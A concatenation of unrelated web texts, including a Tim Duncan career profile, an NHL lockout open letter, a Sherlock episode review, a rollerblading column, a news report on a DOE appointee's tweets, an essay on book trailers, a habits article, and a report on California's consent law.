Next came an epic battle with the Dirk Nowitzki and the Mavericks. Tim was a scoring machine early in the series, but Dallas pulled off a pair of narrow victories to take the series lead. In Game 5, Tim scored 36 points and hauled down 10 rebounds in a thrilling 98–97 win. Back in Dallas for Game 6, the Spurs evened the series behind a monster second half from their center. Game 7, in San Antonio, was a classic. Tim scored 41 points and led the team with 15 rebounds and six assists, but the Mavs prevailed in overtime to end San Antonio’s quest for a fourth NBA title. After averaging 18.6 points per game during the regular season, Tim had lifted his scoring to 25.8 during the postseason. However, in that fateful Game 7 overtime, he made only one of seven shots. Tim turned 30 in 2006–07, but once again he led the team in rebounds and scoring, averaging an even 20 points a game. He was also back in the lineup for the All-Star Game, after not making the team the previous season. The Spurs won 58 games and finished second in the division, but they turned it on come the postseason. They tore through the Western Conference playoffs, defeating Denver, Phoenix and Utah while dropping a mere four games. In the NBA FInals, the Spurs blew LeBron James and the Cleveland Cavaliers off the court in four straight. Tim had a somewhat lackluster series, but he proclaimed title #4 as his sweetest ever. Tim enjoyed another typically solid season in 2007–08, averaging just under 20 points a game. The Spurs featured the same core of Duncan, Parker, Bowen and Ginobili, with Michael Finley also playing a support role. That was enough to get the Spurs in to the playoffs, where they reached the conference finals again. This time, however, they ran up against a red-hot Lakers team and fell in five games. Tim’s 12th season in the NBA was a painful one. After a fast start, he was slowed all year by a sore knee. With Ginobili injured too, and several players aging, the Spurs limped into the playoffs and were defeated easily by the Mavs. It marked only the second time in the decade they had made a first-round exit. Tim’s stats were consistent with previous seasons, but he was starting to slow down. Still, Tim was a dangerous and effective player. In 2009–10, he was averaging more than 20 points and 10 rebounds a game when he was voted into the starting lineup for the West All-Stars. Tim’s scoring fell off in the second half, but he was ready for Nowitzki and the Mavs come playoff time. San Antonio avenged the previous year’s defeat by bouncing Dallas in the first round. Unfortunately, the Spurs didn’t have enough left in the tank to get by the Suns, who beat them in four straight. Tim paced himself during 2010–11, stepping up when the team needed a boost. His supporting cast now featured Richard Jefferson, George Hill, and Gary Neal, in addition to Parker and Ginobili. Tim’s scoring fell to under 15 a game, but the Spurs were nearly unbeatable. They finished with the second-best record in the league at 61–21. San Antonio fans were gearing up for a last hurrah when the playoffs began, but it was not to be. The Spurs were upended by the eighth-seeded Memphis Grizzlies. It was just the second time a #8 had knocked off a #1. Zach Randolph went crazy in the fourth quarter of the sixth and final game, scoring 13 points in the last five minutes to turn a one-pointdeficit into 99–91 win for Memphis.
Dirk Nowitzki, 2003 Topps
In 2011–12, the Spurs featured a balanced attack with eight or nine players capable of scoring in double-figures. At the All-Star break, they found themselves in a familiar place—the top spot in the Southwest Division. Whether they carry this success into the playoffs remains to be seen. On paper, the Spurs do not appear to appear to have a championship dynamic. San Antontio still has a dynamic champion in Tim, however. As his remarkable career winds down, he is still capable of dominating the floor. In the first half of his 15th season, he had 25 or more points twice, 15 or more rebounds three times, and five or more assists five times. With three NBA Finals MVPs, two NBA MVPs, nine First-Team All-NBA nods and 13 All-Star appearances, a strong argument can be made that Tim belongs among the Top 10 players in history. Who they are and where Tim slots in is a matter of debate, but he will forever be remembered as a class act and an all-time great. TIM THE PLAYER Tim is not only a freakishly good athlete, he is a freakishly talented big man. Indeed, there is very little he cannot do with a basketball in his hands. Tim is hard to strip, hard to block and hard to stop, because if you stop one move, he usually has a counter-move that follows. He has a wonderful touch around the rim, and his bankshot is one of the NBA’s great old-school moves. He is also one of the best-passing big men ever. It’s what Tim can do when the ball is not in his hands that truly sets him apart. Even in his mid-30s, he is so agile and has such quick feet that he can wait an extra second on plays and still beat most defenders to a spot. This comes into play when he must jump out on a perimeter shooter—he closes out quickly for a big man, without flying past the shooter or fouling him. Tim understands how to use his body on rebounds, and his long arms and sure hands mean once a ball is in his grasp, it is likely to stay there. Oh, about those hands. Few men his size have ever had softer ones, or exhibited finer control when shooting, passing and dribbling. Tim isn’t a big talker, but his leadership skills are unquestioned. He shows his teammates the way through actions and deeds, not words. This has been the case during his NBA career and during his time on American squads in international competition. Tim is a Hall of Famer in every sense of that label.
That’s the way it should be. And, widows everywhere deserve that same level of respect when it comes to our spouses and our decisions to date post-loss.
If you can love more than one child, two parents, five aunts, nine nieces, etc., why is it so hard to fathom that we can love or be in love with two men?
My husband died. The thought of ever having known him was not erased from my memory. His death was sudden and shocking. One night he was here and the next morning he wasn’t. What was I to do with all that love? Bury it in his casket?
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Dear NHL,
Well, here we go again. Not satisfied with a mere two lockouts on Gary Bettman's resume, all signs are pointing to the illustrious threepeat. I totally understand. Why settle for mediocrity? No need to stop at killing one-and-a-half seasons when there's an opportunity there to go for lockout #3. Seize the day, league; this might be your big chance to improve your status as the 6th most popular sport in the US! Think big.
Honestly, I'm not one of those people who complains about the salaries of the players (average of $2.4 million per) or the executives ($7.5 million for Mr Bettman). Seriously, if the money is there for you, kudos for you. Nor am I one to complain about the ridiculously high ticket prices (average of about $50 per ticket). If the prices are too high - and they are - I am content to just stay at home, like 120,854 potential in-person Colorado Avalanche fans did last year. Since I am watching on TV, I certainly would appreciate it if you could somehow convince Pierre McGuire to stop his constant name dropping during broadcasts and maybe talk to Doc Emerick about the weird backwards talking thing, but those are relatively minor issues. My remote has a mute button.
Still, I have to scratch my head a little bit. You locked out the players fans for 48 games in '94-'95 in order to get a salary cap. It didn't work, so you locked out the players again in '03-04 to get that much coveted "cost certainty". That TOTALLY worked, even though you wiped out an entire season to do it. You got your salary cap - $39 million in the first season. Yay for you guys! And now the cap - tied to revenues - has risen to $70 million probably because league is raking in something more than $3 billion per year. I'm not wise to big money problems, but it sure sounds like things are going fairly well for you.
I know nothing. Come to find out, you are seriously struggling. With a meager $2 billion package just for TV rights, I can understand how times are tough. That $200 million per year is just an incremental increase to the $65 million per year TV rights paid you after the last lockout. That's no way to live. Now, you want to lockout the players AGAIN to get...er...what exactly? Gary says: "Our initial proposal relates to the fact that we need to be paying out less in player costs." Yeah, that makes sense, as your financially strapped teams just shelled out $410 million to FOUR players (Sydney Crosby, Ryan Suter, Zach Parise, Shea Weber) over a 3 week period. Clearly, the owners are down to their last pennies and it is all the players' fault.
So, unwilling to simply operate under the oppressive terms of the expiring CBA while working out a deal like grownups, you are going to lockout the players fans. Again. Which really means you care so little for the NHL fans that you are prepared to use them as leverage. Again. Sorry, everyone, but we're only making gobs and gobs of money and this is simply unacceptable so we are going to quit until we can make even more gobs of money.
Well, screw you, NHL. You aren't locking me out this time. No no, I am locking you out. I am done with you. Go away and quibble about how to split up BILLIONS of dollars. I care not. We're not lovers any longer. I tried. I worked hard in this relationship. I forgave you for the lockouts. Twice. I ignored the silly shootout thing and the trapezoid and a host of other minor transgressions. But I just don't love you anymore. You have been relegated to, at best, friends-with-benefits status. If I'm bored on a Saturday night and my other hot new lovers like football or soccer are busy, I might give you a call for a little fun. Then again, I might not - sometimes, the baggage just isn't worth the effort.
And just to be clear, this isn't contingent on you actually following through with the lockout threat. The very fact that you would even consider locking out the players fans again just proves to me that you only care about yourself. I can't love a league that is this selfish.
So please, return your key and don't forget to grab your "I Heart the Penguins" pillow on the way out; I can't believe I allowed you to keep that thing around for so long. In turn, I will cancel my Center Ice subscription and throw out all my Carrie Underwood CDs. We'll have to share custody of our NHL Guardian action figures. Actually, you can have them.
Best of luck to you, NHL. Not that you'll need it with such savvy businessmen lording over your realm. LOL. I'm certainly not going anywhere, so if you ever do get tired of being an absolute douche bag to the people who care about you, you'll know where to crawl back to. Until then...get lost. I'm only interested in "professional" sports leagues.
Yours no longer,
Average hockey fan.
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More than ever, there is a real determination to ensure that key plot points do not leak out ahead of broadcast. Before the screening, BBC director-general Tony Hall asked everyone in the audience to avoid sharing spoilers. Then Sherlock creators Mark Gatiss and Steven Moffat got up on stage to do the same. Twice. They did it again during the Q&A afterwards. There may or may not have been death threats attached. So you definitely won’t find any major spoilers here. But I can provide a general view on the episode and tell you a few things that will give you a flavour of what to expect.
First up, how good is it?
Is it better than the previous one, last year’s Victorian-Life-On-Mars-it-was-all-a-dream story? Definitely. Is it the best Sherlock ever? No, it’s no Reichenbach Fall. It doesn’t have quite the clever twists and turns of the series two finale, or the hypnotically intense relationship between Sherlock and Moriarty at its core. But is it good Sherlock? Certainly. And it should have enough to keep both general viewers and fan boys/girls engaged on the first evening of the new year – even if some of the story may be dark enough to make you wonder if it’s still 2016.
It’s no secret that John and Mary are now proud parents of a baby daughter called Rosamund (they posted the announcement in The Telegraph so I’m not taking the blame for that one) and we get to see them at home doing endearingly mundane baby stuff, and even a bit of Uncle Sherlock on babysitting duties.
There’s another funny bit with a dog, too. And there’s heaps of action, including more on Mary’s backstory as a special operative and a great gritty Bond-style fight scene for Benedict Cumberbatch’s Sherlock.
There’s a Sherlock Holmes story fans of the originals will recognise, with a twist and lots of extras thrown in too, yet not so many that casual viewers will end up asking ‘what was that all about?’ like they did at the end of The Abominable Bride.
There are many mentions of Moriarty (try saying that five times fast) and numerous other references to Sherlock Holmes lore strewn throughout for aficionados to look out for, including another name that will cause a buzz in some quarters.
We learn something surprising – even shocking – about John Watson.
And there’s a conclusion that makes you wonder where the hell this is going to go next (luckily, you’ll only have a week to wait to find out).
Oh, and after that post-credits scene at the end of series three, stick around for another one. Just don’t get your hopes up for another return for Moriarty – however much you might miss him.
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But before you go investing in your sport, let me tell you the importance of always reading the labels.
Case in point: the “skate” in Bulletprufe Skate Denim is now meant for skateboarders.
That really sucks because they were stepping up the game in terms of blade denim durability and they were showcasing some good blading talent.
They were though, as most blading products typically are, not without their faults. I’ve bought three pairs and been extremely satisfied except for one large flaw I’ve never experienced before with jeans: the fly goes down on its own.
Not cool if you look like me and there’s a child around. People look around to see if you own one of these…
Again, not cool.
Despite that, I was a set to order a few pairs off their new line because while they are pricey, the money’s going into rollerblading and that’s more important than anything else.
That was last Tuesday—also payday, or I as I like to call it “hood rich day”—and I went to their site and was given a huge reminder…
Bulletprufe doesn’t do rollerblading.
(Which has since changed since last Tuesday. Rollerblading images are now featured with skateboarding and biking, as you can see in the screen grab below. Their Facebook page, however, is split between Bulletprufe Skate Denim [rollerblading] and Bulletprufe Skate Denim Worldwide [skateboarding])
Kind of sucks to realize that the limited money I have has been going to now promote skateboarding as well. It’s bad enough I’ll eagerly ride Eulogys, which do the same thing, but maybe there’s something to say about that formula.
So, last Tuesday night, I sent Will Fisher, owner and proprietor of Bulletprufe a few select questions…
No. 1: Am I wearing skateboarding jeans right now?
No. 2: If not, why is there no blading on your site an(Y) longer, nor why do you post such things on your site? The only photo I saw of a blader on http://www.bulletprufe.com/ was Gripper and he was in a chair.
No. 3: If Bulletprufe is a skateboarding company now, what do you have to say to bladers who paid full price (including the problems that went with $80 jeans with zippers you wouldn’t dare go commando in) so you could test your products on a poor industry to run to a richer one?
No. 4: No one doubts money is an issue in our industry, but why? Really, why?
No. 5: How do you plan to make money in skateboarding when your brand can so quickly be associated as a blading brand?
No. 6: How many times do you walk by Black Sheep Skate Shop in your home turf of Charlotte, see your jeans there, and not fall over laughing thinking of the old Mindgame ads where skateboarders were all the white sheep and blading was the… the uh… You know, I can’t think for the life of me what the rollerblader was right now. Do you remember, Will?
No. 7: What’s the hardest part about rollerblading?
I should make a very important note about my line of questions to Will, who has never been anything but a nice person to me, came as a customer and on the same night two of my friends were hospitalized by a group of skateboarders.
Also Last Tuesday…
That Tuesday night, two of my friends—Omar Ontiveros and Rob Antaki—went to a skate park in Walnut Creek, Calif. I used to be fond of that park because that’s where regular Tuesday Night Skates occurred when I moved NorCal four years ago. Went there, met tons of homies, always had a good sesh.
What’s worse, is that in preparing for the Oakland Blade Jam and then hanging out after the Valo V premiere, I spent extra time with these guys. Real funny dudes. Hella hard workers.
For fun, here’s his entry for AMall’s Cash Clip contest…
So, when I received texts that they were jumped by a truck full of skateboarders who specifically who came to the park to blader bash, well, I didn’t like what I saw.
You already know the words they said to get shit started.
You know those fucks used their boards as weapons. And you know they had the numbers.
Good thing Rob already had steel in his head.
Last Tuesday wasn’t one of those nights where we hit Walnut Creek en masse. Rob and Omar were the only two bladers at the park. This Tuesday, you can sure as hell know they won’t be.
I don’t give a fuck what anyone says, you show up somewhere specifically to beat people, for whatever reason, that’s a fucking hate crime. Pure and simple and should be viewed with the same tolerance as bigotry.
What happened to Rob and Omar was simply nothing more than a continuation of bullshit defensive mockery from a sect of people who’ve been told one too many times that they’re the kings of counterculture.
Seriously. Think about the realities of life in American culture—skate parks aren’t where the bad kids hang out anymore. It’s where negligent parents leave their four-year-olds unsupervised usually without incident because no matter how much we adults think we’re fucking bad asses, when a little kid rolls in, we all have to work to keep the little thing out of the hospital.
It’s a shame we haven’t quite figured out how to do that to other adults.
We’re too busy endlessly talking shit (guilty as fuck right here) to the point where anyone thinks it’s even reasonable to mob up on people. That’s how far it’s been going—because I know of enough stories to know this shit isn’t isolated—and it fucking disgusts me.
Why do that shit? To teach someone a lesson?
Here’s the lesson: that shit ain’t going to fly very far.
It’s hard to stomach the possibility that someday a group of guys may jump out of a truck looking to hurt my friends and they may be wearing the clothing that got its beginning from the very sport they’re bashing.
That would be too much sweet fucking poetic irony for me to bear.
Just thinking of it makes me fart.
But neither the blader bashing or Bulletprufe have anything in common, right? Nah.
Edit: No, no, no, and no. If anyone thought it was possible for the two to be related, other than what was stated repeatedly through this column, then we apologize for the confusion and respectfully request you read it more carefully.
These two events happened last Tuesday when I was looking to buy some skate jeans.
That’s why my questions to Will were more loaded than Paco Ass Dre and The Steel Seagull on a Sunday.
Will had sent the following response by the next morning…
Brian, it’s purely a business decision. There were two options: 1) close the doors or 2) start fishing in deeper waters. Bulletprufe, or any company for that matter, is not a hobby; it’s a business and has to be run as such.
Running a denim company is not like selling t-shirts; you can’t just get five or ten pairs printed up whenever you need them. You have to order months in advance and there’s real money at stake. Nor am I a single 22 year old anymore; I have a wife and three kids to support and I can’t spend my time, or risk my family’s money and security, on a project (a small niche blading company) that not only does not make a profit but rather loses money.
So, if you were me, what would you do? Pack it in and look back fondly on the times you lost tens of thousands of dollars trying to run a blade company or buckle down and do what needs to be done to make your company successful? Yea, it sucks that the sport is not the size it once was but there were two options and I chose not to go the way of the dinosaur, like so many other blade companies before us.
I understand people’s concern and I am more than happy to discuss this in further detail via email, over the phone, etc. any time.
Thanks – Will Fisher
In all reality, I feel like a dick for passing judgement on Will’s decisions to promote his brand to skateboarding because were I in Will’s shoes, I may have come to the conclusion and I know Will didn’t make it without seriously considering personal longevity.
That’s smart because he has a family and I don’t, but what from I’ve learned from parents my age is that “you won’t understand until you’re a father.”
I’ve been fortunate enough to pad myself away from as much responsibility as I need to mainly because I’ve stuck to my guns. I don’t believe in many things in life, but those causes I feel like are worth fighting for, I’ll sacrifice more than I should for them.
I’m probably just too overprotective of my sport, my friends, and the people who I genuinely believe that if we continue to stick together, we’ll be better off at the finish line.
No matter what, I still stand by the statement I made on this site that Bulletprufe uses on theirs…
I know I can be an overzealous idealistic at times, so take all this in after you filter it through your own reasonable thinking skills. And don’t neglect the power of your gut instinct.
At least from now on if I’m going to buy skateboarder jeans, instead of shelling out $80 for a pair that could get me an indecent exposure ticket, I’ll walk down the street to the sporting goods store and pick up a pair of clearance Volcoms for $45.
I do have to be smart with my money, after all.
Blade or Die,
— Brian Krans
An appointee to a key position in the Department of Energy apologized on Thursday for a history of incendiary remarks on Twitter – including calling former president Barack Obama a 'Kenyan creampuff.'
William 'Brute' Bradford runs the DOE's Office of Indian Energy, but his social media past is coming back to haunt him.
Bradford's other targets included Facebook co-founder Mark Zuckerberg, whom he called a 'self-hating Jew,' and NBC host Megyn Kelly – whom he referred to as '“MegOBgyn Kelly' as a slam on her feminist advocacy.
The Washington Post exposed the sensational messages, posted to his since-deleted Twitter account.
Bradford's controversial tweets all came before he joined the Trump administration, but they will still give the White House a new headache at a time when it is slowly filling hundreds of key administration vacancies.
'As a minority and member of the Jewish faith, I sincerely apologize for my disrespectful and offensive comments,' he told the Post.
'These comments are inexcusable and I do not stand by them. Now, as a public servant, I hold myself to a higher standard, and I will work every day to better the lives of all Americans.'
Bradford called former president Barack Obama a 'Kenyan creampuff,' a not-so-subtle birtherist dig
The Trump administration appointee called then-president Obama an Iranian stooge and suggested he might have to be forced out of the White House when his term expired
Bradford's comment about Obama came in December, and included an accusation that the former president 'was given his mission in Tehran [a] long time ago, and it suits him just fine.'
'How else can a Kenyan creampuff get ahead?' he asked.
Bradford also tweeted the suggestion that Americans might have to stagte a coup to remove Obama from office if he refused to vacate the White House at the end of his term.
'If Obama won't leave office in January 2017, what will we do? Is a military coup the only answer? Need to think NOW,' he wrote.
That tweet linked to an essay Bradford had written in November 2015 titled: 'Remove Obama: ISIS and the President’s dereliction of duty.'
Bradford wrote that '[i]t is not hyperbolic to suggest that Obama is the single most important figure in the rise of radical Islam and the spread of the Caliphate since the Prophet Muhammad himself.'
He argued that Obama should be impeached, saying that the then-presidnet would likely not lift a finger if 'one million Americans were immolated in a suitcase nuclear attack on New York City.'
Bradford blasted Facebook's co-founder as a 'self-hating Jew' for his anti-Trupm advocacy
He also mocked then-Fox News host Megyn Kelly as 'MegOBgyn,' a slap at her feminist advocacy
Bradford's digital body-slam of Zuckerberg was no less incendiary, following the Facebook guru's plea for Americans to vote against Donald Trump.
'Who is this little arrogant self-hating Jew to tell anyone for whom to vote?' he tweeted.
He offended Japanese-Americans, too, in a February 2015 tweet celebrating the anniversary of the creation of internment camps for that group's citizens during World War II.
'It was necessary,' Bradford tweeted.
He also referred to Kelly, then of Fox News, as 'MegOBgyn,' claiming that he coined the moniker.
Bradford blasted Obama's Pentagon last year for green-lighting female armed service members to serve in combat roles
And Bradford also weighed in on the trend toward allowing women to serve in U.S. military combat roles, conflating it with the larger issue of women serving in the armed forces.
'Women have no business in combat. Period,' he tweeted.
'Republicans [are] pandering on this issue. Disgusting. I'll shoot anyone who comes for my daughters.'
Bradford is a former faculty member at the U.S. Military Academy, the National Defense University, the Coast Guard Academy and the United Arab Emirates National Defense College.
Sometimes it seems like everyone is a brand and everything we do is a product. This makes us sad, or at least we’re conflicted about it, content though we occasionally are to let LinkedIn, Instagram, and Twitter choke our inner lives, leaving us glittering and empty like plastic bags in a sunlit drugstore parking lot. When advertising complicates the personal, and vice-versa, advertising can succumb to self-hatred. And unsurprisingly, given the traditionally difficult relationship that serious—and self-serious—artists have with self-promotion, no form of advertisement is more self-hating, more apologetic, than a book trailer for literary fiction.
Did you know about book trailers? Once amateurish clips awash in cheap graphics and cheesy music, they’ve gained in confidence and polish over the past eight years. They can come from publishing houses or directly from authors themselves. While YouTube videos promoting celebrity memoirs, lifestyle guides, and children’s stories appear more or less existentially secure, lit-fic trailers belong on a therapist’s couch, working through their guilt at prostituting imaginative worlds to market appetites. These spots may be best understood not as commercials but as reality shows in which the tasteless, endlessly derided objective is “Pimp My Muse.”
Behold Jonathan Franzen, opening his book trailer for Freedom with the words: “This might be a good place for me to register my profound discomfort at having to make videos like this.” Behold Slate editor Gabriel Roth, who transformed the trailer for his novel The Unknowns into a comment on the existential futility of book trailers. “Look, it’s my novel,” Roth tells the camera. “I can’t sum it up for you in like 30 seconds.” Behold The Love Song of Jonny Valentine author Teddy Wayne, pretending to lift the veil on book trailer production hell, protesting “No, I told you guys I don’t want to do this” as a Teddy Wayne bobblehead in the bottom-left corner of the frame hawks cheap-o Jonny Valentine merch. “Can you imagine James Joyce—” the real Wayne begins, then hopelessly chugs his beer.
Even book trailers that don’t explicitly denounce book trailers traffic in pathological self-mockery. In his video for Little Failure, Gary Shteyngart plays a nebbishy, pink-bathrobe-clad version of himself, his new book eclipsed by Fifty Shades of Gary, an erotic tell-all from his husband James Franco. The trailer for Thomas Pynchon’s Bleeding Edge eschews plot summary in favor of a doofus guy wearing a “Hi, I’m Tom Pynchon” shirt. (“My friends,” the doofus guy says, “call me Sleazus.”) But wait—there’s more! At the end of his Inherent Vice video, Pynchon also makes fun of his books for being overpriced. Promoting the fiction collection One More Thing, writer and actual actor B.J. Novak lounges in a Parisian café, jabbering wannabe sophistiqué palaver in a crazy attempt to impress Mindy Kaling and her coterie of author friends. Kaling pooh-poohs the New Yorker, in which several of Novak’s stories appear; he replies in French, “We all must be whores for commerce, no?” The spot for Sloane Crosley’s novel The Clasp features Amanda Seyfried guzzling red wine and raving about the novel, which she hasn’t read. (“I had a busy week!”)
On one hand, this is all self-deprecation in the service of comedy. According to Daniel del Valle, the marketing director for digital strategy and technology at FSG, humor is one of the most effective tools you can throw at a book trailer. Authorial wit and charm translate well on YouTube, especially for funny writers like Crosley or Pynchon. But even hard-boiled crime scribe James Ellroy must share screen time during his video for Perfidia with a statue of “Knopf’s venerable, 99-year-old colophon and mascot, the sacred borzoi,” atop whose marble head someone has perched a pair of sunglasses, and whose deadpan expression throughout rivals Ellroy’s own.
This is also self-deprecation in the service of something else: an awareness of the long-running tension between art and commerce. In his video for Freedom, Franzen elaborates: The sphere of reading, he says, represents “a quiet alternative” to our frenetic, multitasked lives. Franzen’s romantic view of literature casts books as bringers of solace and stillness, hideouts from worldly concerns. It follows that the artists crafting these books are as impervious to marketing realities as they are allergic to the type of calculation that might result in the canny appearance of a dog in the Crosley clip. And anyway, as Roth plaintively points out, a work of literary fiction isn’t summarizable in a two-to-three minute spot—novels already stand as the only possible expressions of themselves! So creating a book trailer means acknowledging the financial dimension to writing words and also undermining the perfect ordering of those words. No wonder authors approach the task so ruefully.
But the market is competitive, and every edge helps, or at least gives the illusion of helping to those who feel helpless. (“I was literally trying any kind of publicity thing I could think of,” Roth told me. “You do interviews with regional public radio in Australia and you’re grateful.”) A writer can get mileage out of scorning the book trailer while also promulgating the book trailer. And if you must pander to viewers, you might as well simultaneously broadcast your movie-star friendships; and why not throw in the dog, too, seeing as you’ve already shown the requisite self-awareness?
Creating book trailers “has been a learning experience from the beginning,” says Sue Fleming, the executive director of content and programming at Simon & Schuster Digital. The publisher, which launched its in-house video marketing lab in 2008, now customizes trailers for a plexus of YouTube channels, including Simon & Schuster Tips on Life and Love, Simon & Schuster Humor, and Simon & Schuster Holidays. When promoting narrative nonfiction, Fleming says, video best practices are straightforward: distill an argument or fact from the book and present it in a visually appealing way. She points me toward a delightful ad for Eric Weiner’s The Geography of Genius; a cartoon Weiner traipses through Silicon Valley, Mozart’s drawing room, and Einstein’s study, checking off a list of social factors that nourish human brilliance. “Any time you can leave viewers with a usable piece of information, that’s hugely important,” Fleming says. Meanwhile, for literary fiction, the key is “setting the subject and the author in a time and place,” and “giving some atmospheric flavor of the read.”
Yet the videos are relatively reticent when it comes to the work being advertised; we don’t learn much about Little Failure or Freedom or The Clasp from their respective trailers (though we are duly impressed, perhaps, by the fact that they have trailers). What does emerge, in author interviews and other promotional spots, is a detailed portrait of the personalities behind the prose. Jonathan Franzen is conscientious. Gary Shteyngart is neurotic. It’s as if some protective instinct had kicked in around the objet d’art and a decision had been made: sell the author, and then sell the book as the objective correlative of her sensibility.
Does this strategy explain the distaste that seems to encircle the videos like a faint odor of gasoline? Perhaps everyone is embarrassed by the apparent fact that a soft-shoeing writer gets people’s wallets out faster than flashes of plot and craft. Perhaps authors resent that it’s so hard to sell their actual books, or phone it in because the clips feel tangential to this tower of words they’ve made. Perhaps hustling your person is just grosser than hustling an object. Or perhaps writers appreciate not having to “pimp” their novels, retreating, instead, inside their winning personalities, if applicable, and the self-mockery represents a kind of nervous laughter.
As for the million-dollar question: What does all this hemming and hawing and hawking accomplish? Do book trailers work? “Our holy grail would be pointing directly from a video to a lift in sales,” Fleming told me, “but there are so many things happening simultaneously, it’s hard to say. We’re confident,” she added, “that we are increasing the author’s overall visibility.”
Twyla Tharp was born in Indiana and was named after the local “Pig Princess” at the Annual Muncie Fair, who went by Twila.
It wasn't the prettiest of starts, but Tharp turned it into something beautiful.
She is widely regarded as one of the greatest dancers and choreographers of the modern era. She is credited with choreographing the first crossover ballet and she has choreographed dances for the Paris Opera Ballet, The Royal Ballet, New York City Ballet, Boston Ballet, and many others. Her work has appeared on Broadway, on television, and in films. In 1992, she was awarded a MacArthur Fellowship, often referred to as the Genius Grant, and she has spent the bulk of her career touring the globe to perform her original works.
To put it simply: Twyla Tharp is prolific. The question is, how does she do it?
The Power of Ritual
In her best-selling book, The Creative Habit (audiobook), Tharp discusses one of the secrets of her success:
“I begin each day of my life with a ritual,” she writes. “I wake up at 5:30 A.M., put on my workout clothes, my leg warmers, my sweatshirts, and my hat. I walk outside my Manhattan home, hail a taxi, and tell the driver to take me to the Pumping Iron gym at 91st street and First Avenue, where I work out for two hours.
“The ritual is not the stretching and weight training I put my body through each morning at the gym; the ritual is the cab. The moment I tell the driver where to go I have completed the ritual.
“It’s a simple act, but doing it the same way each morning habitualizes it—makes it repeatable, easy to do. It reduces the chance that I would skip it or do it differently. It is one more item in my arsenal of routines, and one less thing to think about.”
Let's talk about what makes Tharp's morning routine so important and how we can use it to master our own habits.
The Surprising Thing About Motivation
If you have trouble sticking to good habits or fall victim to bad ones, then it can be easy to assume that you simply need to learn how to get motivated or that you don't understand how willpower works.
But here is the surprising thing about motivation: it often comes after starting a new behavior, not before. Getting started is a form of active inspiration that naturally produces momentum.
You have probably experienced this phenomenon before. For example, going for a run may seem overwhelming or exhausting just to think about before you begin, but if you can muster up the energy to start jogging, you'll often find that you become more motivated to finish as you go. In other words, it's easier to finish the run than it was to start it in the first place.
This is basically Newton's First Law applied to habit formation: objects in motion tend to stay in motion. And that means getting started is the hardest part.
I often find this to be true with my articles. Once I begin writing, it's much easier for me to power through and finish. However, if I'm staring at a blank page, it can seem overwhelming and taxing to take the first step.
And this, my friends, is where Twyla Tharp's morning routine comes back into the picture.
Rituals Are an On-Ramp for Your Behavior
The power of a ritual, or what I like to call a pre-game routine, is that it provides a mindless way to initiate your behavior. It makes starting your habits easier and that means following through on a consistent basis is easier.
Habits researchers agree. Benjamin Gardner, a researcher in the Department of Epidemiology and Public Health at University College London recently published a paper in the Health Psychology Review that covered how we can use habits to initiate longer, more complex routines:
A ‘habitual’ bicycle commuter, for example, may automatically opt to use a bicycle rather than alternative transport (so automatically enacting the first behaviour in a superordinate ‘bicycle commuting’ sequence, such as putting on a cycle helmet), but negotiating the journey may require higher-level cognitive input.
In other words, getting started with a simple ritual like putting on a helmet or checking the air in the bike tires makes it easier to follow through on the bigger behavior (making the commute). If you focus on the ritual, the next step follows more automatically.
Twyla Tharp's morning routine is a perfect example of this idea in practice. Naturally, there are going to be days when she doesn't feel like getting out of bed and exercising. There are bound to be times when the thought of starting the day with a two-hour workout seems exhausting.
But her ritual of waking up and calling the taxi takes the emotion, motivation, and decision-making out of the process. Her brain doesn't need to waste any energy deciding what to do next. She doesn't have a debate with herself about what the first step should be. She simply follows the same pattern that she always does. And once the pattern is in motion, the rest of the sequence follows more easily.
The key to any good ritual is that it removes the need to make a decision: What should I do first? When should I do this? How should I do this? Most people never get moving because they can't decide how to get started. Having a ritual takes that burden off your shoulders.
The Idea in Practice
Here are some other examples of how you can apply ritual and routine to your habits and behaviors:
Exercise more consistently: Use the same warm-up routine in the gym
Use the same warm-up routine in the gym Become more creative: Follow a creative ritual before you start writing or painting or singing
Follow a creative ritual before you start writing or painting or singing Start each day stress-free: Create a five-minute morning meditation ritual
Create a five-minute morning meditation ritual Sleep better: Follow a “power down” routine before bed
Whatever it is, make it your own. Use your ritual as an on-ramp for the bigger behavior and habits you want to build into your life. When you master the ability to mindlessly initiate the tasks that are important to you, it's not necessary to rely on motivation and willpower to make them happen.
Where can you use a ritual or routine in your life? What behaviors do you want to do more consistently and automatically?
The state’s so-called "yes means yes" law will be the first in the nation to make affirmative consent language a central tenet of school sexual assault policies, proponents said.
The legislation defines consent as "an affirmative, conscious and voluntary agreement to engage in sexual activity." It also states that silence and a lack of resistance do not signify consent and that drugs or alcohol do not excuse unwanted sexual activity.
Advocates for victims of sexual assault supported the change as one that will provide consistency across campuses and challenge the notion that victims must have resisted assault to have valid complaints.
"This is amazing," said Savannah Badalich, a student at UCLA, where classes begin this week, and the founder of the group 7000 in Solidarity. "It's going to educate an entire new generation of students on what consent is and what consent is not... that the absence of a no is not a yes."
The bill requires training for faculty who review complaints so that victims are not asked inappropriate questions when filing complaints. The bill also requires access to counseling, health care services and other resources.
State lawmakers last month approved the bill by Sen. Kevin de Leon, a Los Angeles Democrat, as states and universities across the U.S. are under pressure to change how they handle rape allegations. Campus sexual assault victims and women's advocacy groups delivered petitions to Brown's office on Sept. 16 urging him to sign the bill.
De Leon has said the legislation will begin a paradigm shift in how college campuses in California prevent and investigate sexual assaults.
The law applies to all California post-secondary schools, public and private, that receive state money for student financial aid. The California State University and University of California systems backed the legislation after adopting similar consent standards this year.
In January, President Barack Obama vowed to make the issue a priority. He announced a task force chaired by Vice President Joe Biden that created a website providing tips for filing complaints, www.notalone.gov, and issued areport in May naming 55 colleges and universities across the country facing investigation for their responses to sexual abuse and violence. The University of California, Berkeley was included on the list.
The White House Council on Women and Girls reported (PDF) that nearly 1 in 5 college women is sexually assaulted by the time she graduates, with just 12 percent of them reporting the assaults — a much lower rate than the estimated 40 percent of assaults that are reported by the general population, according to the Department of Justice.
In addition, students from a number of colleges and universities — including the University of California at Berkeley and the University of Southern California, Dartmouth College, Columbia University, Harvard College, Occidental College, Swarthmore College — have filed complaints in the last year that their schools violated the Clery Act and Title IX of the Civil Rights Act by mishandling their sexual assault cases.
Five Planeswalkers allied as the Gatewatch. From Kaladesh, the pyromancer Chandra Nalaar. From Theros, the hieromancer Gideon Jura. From Zendikar, the elven animist Nissa Revane. From someplace he no longer remembers, the telepath Jace Beleren. From Dominaria, the necromancer Liliana Vess. With the aid of Tamiyo, a soratami scholar of Kamigawa, they defeated the eldritch titan Emrakul, sealing the entity within Innistrad's silver moon.
Three months have passed.
She knocked again, louder.
